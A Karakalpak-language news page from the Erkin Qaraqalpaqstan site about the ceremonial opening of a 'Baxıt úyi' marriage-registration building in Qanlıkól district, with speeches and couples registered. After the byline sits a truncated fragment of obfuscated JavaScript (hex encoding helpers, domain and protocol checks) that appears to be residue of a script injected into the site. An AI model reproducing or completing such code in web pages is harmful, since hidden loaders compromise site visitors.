Еркин Қарақалпақстан Вести Каракалпакстана 20:45:50, 18.10.2019
Хош келипсиз! | RSS
Сайт мазмуны

Кириў усылы

АТЫНА САЙ ИМАРАТЛАР

Жас-жубайларды шаңараққа таярлаў ҳәм оларды некеден өткериў бойынша қала ҳәм районларымызда заманагөй «Бахыт үйи» имаратларының пайдаланыўға тапсырылыўы халқымызға юридикалық хызмет көрсетиўдиң сапасын және де жақсылаўға хызмет етпекте. Атап айтқанда, усы күнге шекем пайтахтымыз Нөкис қаласында, Хожели районының Тақыятас қаласында, Қоңырат, Шымбай, Шоманай районларында усындай имаратлар пайдаланыўға тапсырылды.

Жақында усындай жаңа имаратты тапсырыў мәресими Қанлыкөл районында да болып өтти.

Усы мүнәсибет пенен өткерилген илажды район ҳәкими М.Сайжанов кирис сөз бенен ашты. Буннан кейин Қарақалпақстан Республикасы Жоқар­ғы Кеңесиниң комитет баслығы С.Турманов, Қарақалпақстан Республикасы Әдиллик министри Ж.Садықов ҳәм бас­қалар шығып сөйлеп, жыйналғанларды жаңа имараттың пайдаланыўға тапсырылыўы менен қутлықлап, физикалық жақтан бәркамал, руўхый жақтан жетик әўладты тәрбиялаў, жас шаңарақларды ҳәр тәреплеме қоллап-қуўатлаў елимизде әмелге асырылып атыр­ған жаслар сиясатының баслы бағдары екенин атап өтти.

Заманагөй ҳәм миллий архитектура үлгисинде бой тиклеген имаратта  жас шаңарақлардың неке мәресимлерин салтанатлы жағдайда өткериў ушын барлық қолайлықлар жаратылған. Некени дизимге алыў залы, «Шаңарақ университети», «Келин-күйеўлер», ҳүжжетлерди сақлаў ҳәм басқа да хызмет бөлмелери заман талабы дәрежесинде үскенеленген. Пуқараларға ҳуқықый хызмет көрсетиўдиң сапасын жақсылаў ҳәм үзликсизлигин тәмийинлеў мақсетинде қуяш батареялары да орнатылған бул теберик дәргайды «Нукус строй» жуўапкершилиги шекленген жәмийетиниң қолы гүл қурылысшылары қурып питкерген. Усы күни жаңа имаратта жас үш шаңарақ дизимге алынып, оларға неке гүўалықлары салтанатлы жағдайда тапсырылды.

— Бүгинги неке мәресимимизди жаңа имаратта өткерип атырғанымыз биз ушын тағы бир бахыт тымсалы, - дейди жас шаңарақ ийеси А.Ембергенов. — Жаслардың рәсмий түрде шаңарақ қурыўын тастыйықлайтуғын бундай орынлардың салыныўы Елбасшымыздың биз жасларға, соның ишинде, жас шаңарақларға болған жоқары итибарының көриниси болып табылады. Бул имарат район халқына, әсиресе, жасларымызға «Саламат ана ҳәм бала жылы»нда әжайып саўға болды.

Салтанатлы мәресим концерт бағдарламасы менен уласып кетти.

М.ИГИЛИКОВА,

Қарақалпақстан хабар агентлигиниң хабаршысы.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "erkinkarakalpak.uz"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

 

Излеў

Көп оқылған мақалалар

Сыбайлас сайтлар

Қарақалпақстан Республикасы Жоқарғы Кеңеси ҳәм Министрлер Кеңесиниң газеталары.
Қарақалпақстан баспасөз ҳәм хабар агентлигинде 2007-жыл 7-февральда дизимге алынған. Гүўалық № 01-001
Developed by TUIT NF